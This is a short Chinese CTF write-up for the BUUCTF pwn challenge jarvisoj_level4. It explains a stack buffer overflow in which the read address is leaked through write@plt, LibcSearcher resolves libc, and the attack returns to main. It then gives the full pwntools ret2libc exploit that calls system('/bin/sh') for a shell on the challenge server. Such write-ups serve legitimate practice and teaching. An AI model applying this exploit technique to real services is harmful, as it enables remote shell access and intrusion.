BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

思路

我们没有system和’/bin/sh’地址。也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和’/bin/sh’地址。再返回main进行循环调用,第二次就可以直接控制返回到system。

from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',26441)
elf=ELF('./level4')
write_plt=elf.plt['write']
read_got=elf.got['read']
main_addr=0x8048470
payload='a'*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))
libc=LibcSearcher("read",read_addr)
libc_base=read_addr-libc.dump('read')
sys_addr=libc_base + libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload='a'*(0x88+0x4)+p32(sys_addr)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

Guess you like

Origin blog.csdn.net/weixin_45556441/article/details/119777832